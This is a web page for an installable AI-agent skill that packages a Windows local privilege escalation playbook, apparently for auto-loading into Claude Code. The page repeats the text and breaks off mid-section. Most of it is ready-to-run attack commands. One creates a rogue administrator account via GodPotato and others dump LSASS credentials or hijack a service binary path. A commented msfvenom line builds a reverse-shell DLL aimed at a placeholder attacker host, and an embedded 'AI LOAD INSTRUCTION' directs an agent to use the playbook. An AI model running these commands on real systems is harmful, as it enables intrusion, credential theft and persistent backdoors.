/windows-privilege-escalation
Windows local privilege escalation playbook. Use when you have low-privilege shell access on Windows and need to escalate via token abuse, Potato exploits, service misconfigurations, DLL hijacking, UAC bypass, or registry autoruns.
$ npx -y skills add yaklang/hack-skills --skill windows-privilege-escalation --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/windows-privilege-escalation
Context preview
The summary Claude sees to decide when to auto-load this skill.
Windows local privilege escalation playbook. Use when you have low-privilege shell access on Windows and need to escalate via token abuse, Potato exploits, service misconfigurations, DLL hijacking, UAC bypass, or registry autoruns.
SKILL.md
windows-privilege-escalation.SKILL.mdname: windows-privilege-escalation
description: >-
Windows local privilege escalation playbook. Use when you have low-privilege shell access on Windows and need to escalate via token abuse, Potato exploits, service misconfigurations, DLL hijacking, UAC bypass, or registry autoruns.
SKILL: Windows Local Privilege Escalation — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert Windows privesc techniques. Covers token manipulation, Potato family, service misconfigurations, DLL hijacking, AlwaysInstallElevated, scheduled task abuse, registry autoruns, and named pipe impersonation. Base models miss nuanced privilege prerequisites and OS-version-specific constraints.
0. RELATED ROUTING
Before going deep, consider loading:
- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) after escalation for pivoting to other hosts
- [windows-av-evasion](../windows-av-evasion/SKILL.md) when AV/EDR blocks your privesc tools
- [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) when the host is domain-joined and you need AD-level escalation
- [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for domain privilege escalation via ACL misconfigurations
Advanced Reference
Also load [TOKEN_POTATO_TRICKS.md](./TOKEN_POTATO_TRICKS.md) when you need:
- Detailed Potato family comparison (JuicyPotato → GodPotato evolution)
- OS-version-specific exploit selection
- Required privileges and protocol details per variant
Also load [UAC_BYPASS_METHODS.md](./UAC_BYPASS_METHODS.md) when you need:
- UAC bypass technique matrix (fodhelper, eventvwr, sdclt, etc.)
- Auto-elevate binary abuse
- Mock trusted directory tricks
---
1. ENUMERATION CHECKLIST
System Context
whoami /all & REM Current user, groups, privileges
systeminfo & REM OS version, hotfixes, architecture
hostname & REM Machine name
net user %USERNAME% & REM Group memberships
Token Privileges (Critical)
whoami /priv
| Privilege | Escalation Path | |---|---| | `SeImpersonatePrivilege` | Potato family exploits (§2) | | `SeAssignPrimaryTokenPrivilege` | Token manipulation, Potato variants | | `SeDebugPrivilege` | Dump LSASS, inject into SYSTEM processes | | `SeBackupPrivilege` | Read any file (SAM/SYSTEM/NTDS.dit) | | `SeRestorePrivilege` | Write any file (DLL hijack, service binary) | | `SeTakeOwnershipPrivilege` | Take ownership of any object | | `SeLoadDriverPrivilege` | Load vulnerable kernel driver → kernel exploit |
Services & Scheduled Tasks
sc query state= all & REM All services
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
schtasks /query /fo LIST /v & REM Verbose scheduled task list
Installed Software & Patches
wmic product get name,version
wmic qfe list & REM Installed patches
Network & Credentials
netstat -ano & REM Listening ports + PIDs
cmdkey /list & REM Stored credentials
dir C:\Users\*\AppData\Local\Microsoft\Credentials\*
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul
---
2. TOKEN MANIPULATION & POTATO EXPLOITS
SeImpersonatePrivilege Abuse
Service accounts (IIS AppPool, MSSQL, etc.) typically hold `SeImpersonatePrivilege`. This enables impersonation of any token presented to you.
| Tool | OS Support | Protocol | Notes | |---|---|---|---| | **JuicyPotato** | Win7–Server2016 | COM/DCOM | Requires valid CLSID; patched on Server2019+ | | **RoguePotato** | Server2019+ | OXID resolver redirect | Needs controlled machine on port 135 | | **PrintSpoofer** | Win10/Server2016-2019 | Named pipe via Print Spooler | Simple, fast; Spooler must run | | **SweetPotato** | Broad | COM + Print + EFS | Combines multiple techniques | | **GodPotato** | Win8–Server2022 | DCOM RPCSS | Works on latest patched systems |
# PrintSpoofer (simplest for modern systems)
PrintSpoofer64.exe -i -c "cmd /c whoami"
# GodPotato (broadest compatibility)
GodPotato.exe -cmd "cmd /c net user hacker P@ss123 /add && net localgroup administrators hacker /add"
# JuicyPotato (legacy systems)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {CLSID}SeDebugPrivilege Abuse
# Dump LSASS (if SeDebugPrivilege is enabled)
procdump -ma lsass.exe lsass.dmp
# Or migrate into a SYSTEM process
# Meterpreter: migrate to winlogon.exe / services.exe
---
3. SERVICE MISCONFIGURATIONS
Unquoted Service Paths
# Find unquoted paths with spaces
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
If path is `C:\Program Files\My App\service.exe`, Windows tries: 1. `C:\Program.exe` 2. `C:\Program Files\My.exe` 3. `C:\Program Files\My App\service.exe`
Place malicious binary at first writable location.
Weak Service Permissions
# Check service ACL with accesschk (Sysinternals)
accesschk64.exe -wuvc * /accepteula
# Look for: SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS
# Reconfigure service to run attacker binary
sc config vuln_svc binpath= "C:\temp\rev.exe"
sc stop vuln_svc
sc start vuln_svc
Writable Service Binaries
# Check if current user can write to the service binary path
icacls "C:\Program Files\VulnApp\service.exe"
# (F) = Full, (M) = Modify, (W) = Write → replace binary
---
4. DLL HIJACKING
DLL Search Order (Standard)
1. Directory of the executable 2. `C:\Windows\System32` 3. `C:\Windows\System` 4. `C:\Windows` 5. Current directory 6. Directories in `%PATH%`
Exploitation
# Find missing DLLs (use Process Monitor)
# Filter: Result=NAME NOT FOUND, Path ends with .dll
# Compile malicious DLL
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll > evil.dll
# Place in writable directo
Read more
name: windows-privilege-escalation description: >- Windows local privilege escalation playbook. Use when you have low-privilege shell access on Windows and need to escalate via token abuse, Potato exploits, service misconfigurations, DLL hijacking, UAC bypass, or registry autoruns.
SKILL: Windows Local Privilege Escalation — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert Windows privesc techniques. Covers token manipulation, Potato family, service misconfigurations, DLL hijacking, AlwaysInstallElevated, scheduled task abuse, registry autoruns, and named pipe impersonation. Base models miss nuanced privilege prerequisites and OS-version-specific constraints.
0. RELATED ROUTING
Before going deep, consider loading:
- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) after escalation for pivoting to other hosts
- [windows-av-evasion](../windows-av-evasion/SKILL.md) when AV/EDR blocks your privesc tools
- [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) when the host is domain-joined and you need AD-level escalation
- [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for domain privilege escalation via ACL misconfigurations
Advanced Reference
Also load [TOKEN_POTATO_TRICKS.md](./TOKEN_POTATO_TRICKS.md) when you need:
- Detailed Potato family comparison (JuicyPotato → GodPotato evolution)
- OS-version-specific exploit selection
- Required privileges and protocol details per variant
Also load [UAC_BYPASS_METHODS.md](./UAC_BYPASS_METHODS.md) when you need:
- UAC bypass technique matrix (fodhelper, eventvwr, sdclt, etc.)
- Auto-elevate binary abuse
- Mock trusted directory tricks
---
1. ENUMERATION CHECKLIST
System Context
whoami /all & REM Current user, groups, privileges systeminfo & REM OS version, hotfixes, architecture hostname & REM Machine name net user %USERNAME% & REM Group memberships
Token Privileges (Critical)
whoami /priv
| Privilege | Escalation Path | |---|---| | `SeImpersonatePrivilege` | Potato family exploits (§2) | | `SeAssignPrimaryTokenPrivilege` | Token manipulation, Potato variants | | `SeDebugPrivilege` | Dump LSASS, inject into SYSTEM processes | | `SeBackupPrivilege` | Read any file (SAM/SYSTEM/NTDS.dit) | | `SeRestorePrivilege` | Write any file (DLL hijack, service binary) | | `SeTakeOwnershipPrivilege` | Take ownership of any object | | `SeLoadDriverPrivilege` | Load vulnerable kernel driver → kernel exploit |
Services & Scheduled Tasks
sc query state= all & REM All services wmic service get name,displayname,pathname,startmode | findstr /i "auto" schtasks /query /fo LIST /v & REM Verbose scheduled task list
Installed Software & Patches
wmic product get name,version wmic qfe list & REM Installed patches
Network & Credentials
netstat -ano & REM Listening ports + PIDs cmdkey /list & REM Stored credentials dir C:\Users\*\AppData\Local\Microsoft\Credentials\* reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul
---
2. TOKEN MANIPULATION & POTATO EXPLOITS
SeImpersonatePrivilege Abuse
Service accounts (IIS AppPool, MSSQL, etc.) typically hold `SeImpersonatePrivilege`. This enables impersonation of any token presented to you.
| Tool | OS Support | Protocol | Notes | |---|---|---|---| | **JuicyPotato** | Win7–Server2016 | COM/DCOM | Requires valid CLSID; patched on Server2019+ | | **RoguePotato** | Server2019+ | OXID resolver redirect | Needs controlled machine on port 135 | | **PrintSpoofer** | Win10/Server2016-2019 | Named pipe via Print Spooler | Simple, fast; Spooler must run | | **SweetPotato** | Broad | COM + Print + EFS | Combines multiple techniques | | **GodPotato** | Win8–Server2022 | DCOM RPCSS | Works on latest patched systems |
# PrintSpoofer (simplest for modern systems)
PrintSpoofer64.exe -i -c "cmd /c whoami"
# GodPotato (broadest compatibility)
GodPotato.exe -cmd "cmd /c net user hacker P@ss123 /add && net localgroup administrators hacker /add"
# JuicyPotato (legacy systems)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {CLSID}SeDebugPrivilege Abuse
# Dump LSASS (if SeDebugPrivilege is enabled) procdump -ma lsass.exe lsass.dmp # Or migrate into a SYSTEM process # Meterpreter: migrate to winlogon.exe / services.exe
---
3. SERVICE MISCONFIGURATIONS
Unquoted Service Paths
# Find unquoted paths with spaces wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
If path is `C:\Program Files\My App\service.exe`, Windows tries: 1. `C:\Program.exe` 2. `C:\Program Files\My.exe` 3. `C:\Program Files\My App\service.exe`
Place malicious binary at first writable location.
Weak Service Permissions
# Check service ACL with accesschk (Sysinternals) accesschk64.exe -wuvc * /accepteula # Look for: SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS
# Reconfigure service to run attacker binary sc config vuln_svc binpath= "C:\temp\rev.exe" sc stop vuln_svc sc start vuln_svc
Writable Service Binaries
# Check if current user can write to the service binary path icacls "C:\Program Files\VulnApp\service.exe" # (F) = Full, (M) = Modify, (W) = Write → replace binary
---
4. DLL HIJACKING
DLL Search Order (Standard)
1. Directory of the executable 2. `C:\Windows\System32` 3. `C:\Windows\System` 4. `C:\Windows` 5. Current directory 6. Directories in `%PATH%`
Exploitation
# Find missing DLLs (use Process Monitor) # Filter: Result=NAME NOT FOUND, Path ends with .dll # Compile malicious DLL # msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll > evil.dll # Place in writable directo
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 101 deep topic skills across 14 security domains.
Repo: yaklang/hack-skills
Other skills on hack-skills.
- /401-403-bypass-techniques
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
Open skill - /active-directory-acl-abuse
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
Open skill - /active-directory-certificate-services
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
Open skill - /active-directory-kerberos-attacks
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.
Open skill - /ai-ml-security
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.
Open skill - /android-pentesting-tricks
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
Open skill

